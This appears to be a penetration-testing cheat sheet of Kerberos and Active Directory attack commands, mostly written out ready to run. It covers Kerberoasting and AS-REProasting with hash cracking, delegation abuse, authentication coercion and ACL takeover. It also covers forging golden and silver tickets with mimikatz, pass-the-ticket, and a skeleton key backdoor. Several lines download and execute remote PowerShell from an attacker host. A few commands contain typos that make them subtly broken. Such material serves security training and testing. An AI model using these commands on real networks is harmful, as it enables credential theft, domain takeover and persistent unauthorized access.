Kerberos

Introduction

This section contains some of the techniques to obtain, crack and craft Kerberos Tickets to perform lateral movements on the network.

Ticket gathering

Running Rubeus with a privileged account can dump tickets stored on the system.

Despite requiring a compilation, you can download the compiled and the PowerShell version.

# Gathers tickets that are being transferred to the KDC
Rubeus.exe harvest /interval:30 
# Extract current TGTs
Rubeus.exe dump 

Kerberoasting

The technique consists of obtaining the NTLM hash from the TGS (Ticket Granting Service) of any account that has an associated SPN.

You can use any of the following tools.

  • Invoke-Rubeus: Link

  • Invoke-kerberoast: Link

# Rubeus
IEX(New-Object Net.WebClient).downloadString('http://<ATTACKER_IP>/Invoke-Rubeus.ps1') ; Invoke-Rubeus kerberoast
# Kerberoast
IEX(New-Object Net.WebClient).downloadString('http://<ATTACKER_IP>/Invoke-Kerberoast.ps1') ; Invoke-Kerberoast -OutputFormat {John | Hashcat} [ | % { $_.Hash } | Out-File -Encoding ASCII kerberoast_hashes.txt ]

If the attacker has credentials but not remote access to the system, it can run GetUserSPNs.py.

GetUserSPNs.py '<Domain>/<Username>:<Password>'  -request -save -outputfile GetUserSPNs.txt -dc-ip $IP

Note: To obtain the samaccountname of the service pricipalname run the following command:

IEX(New-Object Net.WebClient).downloadString('http://<ATTACKER_IP>/Invoke-Kerberoast.ps1'); Get-NetUser| select samaccountname,serviceprincipalname

Cracking Kerberos Hashes

Once obtained the Kerberos Tickets it is necessary to crack them in order to gain access to the system.

hashcat -m 13100 GetUserSPNs.txt <WORDLIST> -o <RESULT.txt>

AS-REProasting

Attempt to harvest encrypted TGT, for a later cracking, from users with the attribute DONT_REQ_PREAUTH enabled.

# Modify the hash, so it looks like this "$krb5asrep$23$..." 
.\Rubeus.exe asreproast

# check ASREPRoast for all domain users (credentials required)
python GetNPUsers.py <domain_name>/<domain_user>[:<domain_user_password>] [-no-pass] -request -format {hashcat | john} -outputfile <output_AS_REP_responses_file> 

# check ASREPRoast for a list of users (no credentials required)
python GetNPUsers.py <domain_name> [-usersfile <users_file>] -format {hashcat | john} -outputfile <output_AS_REP_responses_file> [-no-pass]

Cracking password

hashcat -m 18200 -a 0 <hashes.txt> <wordlist.txt>

User Enum (Abusing Pre-Authentication)

By brute-forcing the Kerberos pre-authentication, you do not trigger an account failed event.

kerbrute userenum --dc <DOMAIN_IP> -d <DOMAIN> <users.txt>

Unconstrained Delegation

ℹ️Delegation allows a server to impersonate a client and access network resources on the client's behalf. This is useful in situations where a client needs to access resources that are not directly accessible, such as when accessing a file share on another server.

ℹ️In order to exploit this vulnerability, you will need to be administrator on the machine.

This vulnerability arises when a principal account (a user or mainly a computer) is configured with unconstrained delegation privileges, which allows the account to impersonate any user on the network and access any resource that the user has permission to access.

Cached tickets

If you have admin access on a machine with unconstrained delegation, look for some cached krbtgt tickets and extract them.

1. Enumerate tickets on the machine

.\Rubeus.exe triage

2. Extract the ticket you want

.\Rubeus.exe dump /nowrap /luid:<LUID> 

3. Impersonate the user

.\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:<DOMAIN> /username:<USER> /password:FakePass /ticket:<TICKET>

Force machines authentication

Another method to take advantage of this vulnerability is by executing one of the following tools so the victim machine interacts with the vulnerable machine, obtaining the machine's TGT, so it be used for lateral movement getting access to the machine as administrator.

1. Monitor the machine for new TGTs.

ℹ️ You need to be NT Authority system.

C:\Windows\Tasks\PsExec64.exe -accepteula -s -d -i cmd.exe
.\Rubeus.exe monitor /interval:10 /nowrap

2. Coerce the target machine to attempt authenticating to the attacker controlled machine. To do so, there are several alternatives:

.\SharpSpoolTrigger.exe <TARGET_HOSTNAME> <LISTENER_HOSTNAME>
.\PetitPotam.exe <LISTENER_HOSTNAME> <TARGET_HOSTNAME>
.\SpoolSample.exe <TARGET_HOSTNAME> <LISTENER_HOSTNAME>
new-object system.net.webclient).downloadstring('http://<YOUR_IP>/Invoke-Spoolsample.ps1') | IEX
Invoke-Spoolsample -Command "<TARGET_HOSTNAME> <LISTENER_HOSTNAME>"
python3 printerbug.py  <DOMAIN>/<USERNAME>:<PASSWORD>@<TARGET_HOOSTNAME> <LISTENER_HOSTNAME>

3. Perform an S4U request to obtain a usable TGS of an Admin user on the machine.

.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/<TARGET_HOSTNAME> /user:<TARGET_HOSTNAME>$ /nowrap /ticket:<TICKET>

4. Impersonate the user (There are two alternatives)

# Create a new process
.\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:<DOMAIN> /username:Administrator /password:FakePass123 /ticket:<TICKET>

# Import the ticket into the process
Invoke-Mimikatz -Command '"kerberos::ptt <KIRBI_FILE>"'

5. Test if you can access the machine

ls \\<HOSTNAME>\C$

Constrained Delegation

When constrained delegation is enabled on a service account, it limits the user's access to only specified services on specific computers. This type of delegation is commonly used in scenarios where a user authenticates to a web service without Kerberos and the service needs to make requests to a database server on behalf of the user to retrieve data based on their authorization.

To impersonate a user, Service for User (S4U) extension is used which provides two extensions:

  • Service for User to Self (S4U2self): Allows a service to obtain a forwardable TGS to itself on behalf of a user.

  • Service for User to Proxy (S4U2proxy): Allows a service to obtain a TGS to a second service on behalf of a user.

The steps to take advantage of this feature are the following:

1. Obtain the TGT of the principal (computer or user) trusted for delegation.

# List the tickets
.\Rubeus.exe triage
# Obtain the ticket
.\Rubeus.exe dump /service:krbtgt /nowrap /luid:<LUID>

2. With the TGT, perform an S4U request to obtain a usable TGS for CIFS. This will perform an S4U2Self first and then an S4U2Proxy.

  • /impersonateuser is the user we want to impersonate - they should have local admin access on the target machine. nlamb is a domain admin which is required for accessing the domain controller.

  • /msdsspn is the service principal name that SQL-2 is allowed to delegate to.

  • /user is the principal allowed to perform the delegation.

  • /ticket is the TGT for /user.

.\Rubeus.exe s4u /impersonateuser:<IMPERSONATE_USER> /msdsspn:<ALLOWED2DELEGATE_SERVICE>/<ALLOWED2DELEGATE_HOSTNAME> /user:<ALLOWED2DELEGATE_HOSTNAME>$ /nowrap /ticket:<TICKET>

3. Impersonate the user (Two alternatives)

# Create a new process
.\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:<DOMAIN> /username:<IMPERSONATED_USER> /password:FakePass /ticket:<TICKET>

# Import Ticket into the process
Invoke-Mimikatz -Command '"kerberos::ptt <KIRBI_FILE>"'

4. Check that you have access to the machine.

ls \\<HOSNTAME>\c$

Resource-Based Constrained Delegation (msDS-AllowedToActOnBehalfOfOtherIdentity)

The two major prerequisites to pull off the attack are:

  1. A target computer on which you can modify "msDS-AllowedToActOnBehalfOfOtherIdentity".

  2. Control of another principal that has an SPN.

The steps to reproduce the attack are the following:

1. Look for modifiable ACL permissions

Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl" -and $_.SecurityIdentifier -match "S-1-5-21-569305411-121244042-2357301523-[\d]{4,10}" }

# Convert the obtained SID to know the name of the ACL
ConvertFrom-SID <SID>

2. On a domain machine with high privilege, request its SID.

Get-DomainComputer -Identity <HOSTNAME> -Properties objectSid

3. Set the object you want to modify, in this case "msDS-AllowedToActOnBehalfOfOtherIdentity".

$rsd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;<OBJECT_SID>)"; $rsdb = New-Object byte[] ($rsd.BinaryLength); $rsd.GetBinaryForm($rsdb, 0); Get-DomainComputer -Identity "<TARGET_HOSTNAME>" | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $rsdb} -Verbose

4. Check that the object has been settled correctly.

powershell Get-DomainComputer -Identity "<TARGET_HOSTNAME>" -Properties msDS-AllowedToActOnBehalfOfOtherIdentity

5. From the computer with higher privileges perform the S4U.

# Obtain the machine's krbtgt ticket
.\Rubeus.exe triage
.\Rubeus.exe dump /service:krbtgt /nowrap /luid:<MACHINE_LUID>

# Perform the S4u
\Rubeus.exe s4u /user:<MACHINE_WITH_HIGHER_PRIVILEGES>$ /impersonateuser:<USER> /msdsspn:cifs/<HOSTNAME>.<DOMAIN> /nowrap /ticket:<TICKET>

6 Pass the ticket to the session.

.\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:<DOMAIN> /username:<USER> /password:FakePass /ticket:<TICKET>

Alternate Service Name

On constrained delegation the delegedation occurs not only for the specified service on the target machine but for any service running on the machine under the same account name. There is no validation for the SPN specified in s4u.

Hence, it allows access to different services running on the machine (usually CIFS). To exploit this vulnerability, you can create a TGT with the following command.

.\Rubeus.exe s4u /ptt /impersonateuser:Administrator /msdsspn:<CONSTRAINED_SERVICE>/<HOSTNAME> /altservice:cifs /ticket:<TICKET>

Resource-Based Constrained Delegation (GenericWrite to Computer)

Having a domain user with GenericWrite into a domain computer implies that it is possible to access the computer as Administrator.

1. Create a fake domain computer and modify the attribute msds-allowedtoactonbehalfofotheridentity of the target computer. There are several alternatives to achieve this goal.

  • Alternative 1 - PowerView

# Download dependencias
IEX(new-object system.net.webclient).downloadstring('http://<YOUR_IP>/PowerView.ps1');
IEX(new-object system.net.webclient).downloadstring('http://<YOUR_IP>/Powermad.ps1');
# Create machine
New-MachineAccount -MachineAccount myComputer -Password $(ConvertTo-SecureString 'h4x' -AsPlainText -Force)

# Create AccessControl 
$sid =Get-DomainComputer -Identity myComputer -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
$SDbytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDbytes,0)

# Append AccessControl to victim machine
Get-DomainComputer -Identity <VULNERABLE_MACHINE_NAME> | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
  • Alternative 2 - AD Module

IEX(new-object system.net.webclient).downloadstring('http://<YOUR_IP>/Powermad.ps1');
IEX(new-object system.net.webclient).downloadstring('http://<YOUR_IP>/PowerView.ps1');

New-MachineAccount -MachineAccount rulon -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force) -Verbose

# If Set-ADComputer, is not recognized it it is necessary to install the  (Requires high privileges)
Enable-WindowsOptionalFeature -FeatureName ActiveDirectory-Powershell -Online -All

Set-ADComputer <VULNERABLE_MACHINE_NAME>  -PrincipalsAllowedToDelegateToAccount rulon$ -Server <DC_IP> -Verbose
  • Alternative 3 - Impacket

impacket-addcomputer -computer-name 'myComputer$' -computer-pass 'h4x' <DOMAIN>/<USER>:<PASSWORD>

impacket-rbcd -action write -delegate-to "<TARGET_COMPUTER>" -delegate-from "myComputer$" <DOMAIN>/<USER>:<PASSWORD>

2. Check that the configuration has been applied successfuly, so you can continue with the attack.

ℹ️ It should appear "myComputer$".

$RBCDbytes = Get-DomainComputer <VULNERABLE_MACHINE_NAME>  -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RBCDbytes, 0
ConvertFrom-SIDsuccessfully $Descriptor.DiscretionaryAcl.SecurityIdentifier

3. Impersonate the user Administrator. There are several alternatives to achieve this goal.

  • Rubeus

IEX(new-object system.net.webclient).downloadstring('http://<YOUR_IP>/Invoke-Rubeus.ps1');
Invoke-Rubeus -Command 'hash /password:h4x'
Invoke-Rubeus -Command 's4u /user:myComputer$ /rc4:AA6EAFB522589934A6E5CE92C6438221 /impersonateuser:Administrator /msdsspn:CIFS/<VULNERABLE_MACHINE_NAME_DOMAIN> /domain:<DOMAIN> /dc:<DC_IP> /nowrap /ptt'
  • Impacket

impacket-getST -spn cifs/<TARGET_HOSNTAME> -impersonate administrator '<DOMAIN>/myComputer$:h4x'

4. Connect to the target machine.

# Alternative 1 - Windows
ls \\<VULNERABLE_MACHINE_NAME>\c$

# Alternative 2 - Impacket
export KRB5CCNAME=$(pwd)/administrator.ccache
impacket-psexec administrator@backup01.corp.com -k -no-pass

S4U2Self Abuse

S4U2Self (Service for User to Self) allows a service to obtain a TGS to itself on behalf of a user. While, S4U2Proxy allows the service to obtain a TGS on behalf of a user to a second service.

So, when a client authenticates to the service using, say, NTLM authentication, what the service will do is first send S4U2Self request to get TGS to itself. Then use this TGS with S4U2Proxy to request TGS to another service, impersonating a user on that machine. This is because machines do not get remote local admin access to themselves. What we can do instead is abuse S4U2Self to obtain a usable TGS as a user we know is a local admin (e.g. a domain admin).

\Rubeus.exe s4u /impersonateuser:<ADMIN_USER> /nowrap /self /altservice:cifs/<HOSTNAME> /user:<HOSTNAME>$ /ticket:<TICKET>

WriteDacl over a group

If your current user or group has WriteDacl over a group, you can modify the group ACLs allowing you to add any member to it.

1. Enumerate that your current user has WriteDacl over a group.

Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_ | Select-object -Property ObjectDN,ActiveDirectoryRights, AceType, Identity |  Format-List}}}

ObjectDN              : CN=Admins,OU=Groups,DC=corp,DC=com
ActiveDirectoryRights : WriteDacl
AceType               : AccessAllowed
Identity              : CORP\User1

2. Change the ActiveDirectoryRights to "GenericAll".

$creds = New-Object System.Management.Automation.PSCredential ("CORP\User1",(ConvertTo-SecureString "PassW0rd!" -AsPlainText -Force))

Add-DomainObjectAcl -TargetIdentity <VICTIM_IDENTITY> -PrincipalIdentity <NEW_USER> -Rights All -Verbose -Credential $creds

3. Add your user to the group.

Add-DomainGroupMember -Identity 'Admins' -Members 'User1' -Credential $creds

Tickets

Silver Ticket (Local)

A Silver Ticket has limited use because it can only allow access to the targeted service. To achieve this you need to dump any service or domain admin ticket.

Dump the hash and the security identifier for the targeted service.

.\mimikatz.exe "privilege::debug" "lsadump::lsa /inject /name:<serviceName>"

Create a silver ticket.

Note: The /user is the username that will appear on the windows security logs.

.\mimikatz.exe "kerberos::golden /user:<Administrator> /domain:<domain> /sid:<ServiceSID> /krbtgt:<ServiceHash_NTLM> /id:<ServiceAccountID>"

Now you are able to access the computer hosting the service with admin rights using the techniques of passing the ticket.

In order to check that we have admin permissions on the service host, you can use dir against the ADMIN$ share.

dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp

More ways to access the service machine: Link

Silver Ticket (Remote)

If we are inside a network and have enough information about the victim's service but no access to a machine to craft a ticket with mimikatz, we can ticketer to create a silver ticket. But, we need the following requirements:

  • NTLM hash: Obtained by obtaining the user's password by cracking the user SPN Ticket, mimizatz, etc. and converting it into NTLM format using a web such as browserling.com.

  • Domain SID: Obtained using rpcclient, LDAP, mimikatz, getPac, etc.

  • User-id: Id of the user we want to impersonate, by default, is 500 (Administrator). It can be obtained with the tools mentioned earlier

ticketer.py -nthash <NTLM_HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SPN_NAME> [-user-id <USER_ID|500>] <USERNAME_FOR_TICKET>

Then, we can use this ticket for many impacket tools such as:

export KRB5CCNAME=<PATH>/<USERNAME_FOR_TICKET>.ccache 
smbclient.py -k -no-pass <MACHINE>
psexec.py -k -no-pass <DOMAIN>/<USERNAME>@<MACHINE>
secretsdump.py -k -no-pass <DOMAIN>/<USERNAME>@<MACHINE>

Golden Ticket

A Golden Ticket allows access to any Kerberos service. In order to achieve this, you need to obtain a ticket from the service account "KRBTGT".

Dump the hash and the security identifier needed to create a Golden Ticket.

.\mimikatz.exe "privilege::debug" "lsadump::lsa /inject /name:krbtgt"

Create a golden ticket.

Note: The /user is the username that will appear on the windows security logs.

Note 2: The /id: The user RID. The default value is 500 (local administrator).

.\mimikatz.exe "kerberos::golden /user:<Administrator> /domain:<DOMAIN> /sid:<DOMAIN_SID> /krbtgt:<KRBTGT_HTML> /ptt [/id:<ServiceAccountID>]" "exit"

Cracking tickets

Just like kerberoasting, you can crack a ticket to get the SPN account password.

tgsrepcrack.py <wordlist.txt> <ticket.kirbi>

Pass The Ticket

Dumping TGT from the LSASS memory of the machine. For a later use impersonating the user.

Exporting tickets

mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" #Dumping all the tickets en ficheros *.kirbi

Using the tikets

Linux

# Set the ticket for impacket use
export KRB5CCNAME=<TGT_ccache_file_path>

# Execute remote commands with any of the following commands by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pas

Windows

mimikatz.exe "kerberos::ptt <ticket.kirbi>" 
# List tickets, checking it has been imported correctly
klist
# Import the ticket
.\Rubeus.exe ptt /ticket:<ticket_kirbi_file> 
# Execue a remote cmd
.\PsExec.exe -accepteula \\<remote_hostname> cmd 

Skeleton Key backdoor

Implanting a skeleton key that abuses AS-REQ encrypted timestamp validation, allowing you to access to the domain forest.

Note: A skeleton key only works using Kerberos RC4 encryption.

.\mimikatz.exe "privilege::debug" "misc::skeleton"

Accessing the forest with the default mimikatz password "mimikatz".

net use C:\\<DC>\admin$ /user:Administrator mimikatz

References

Last updated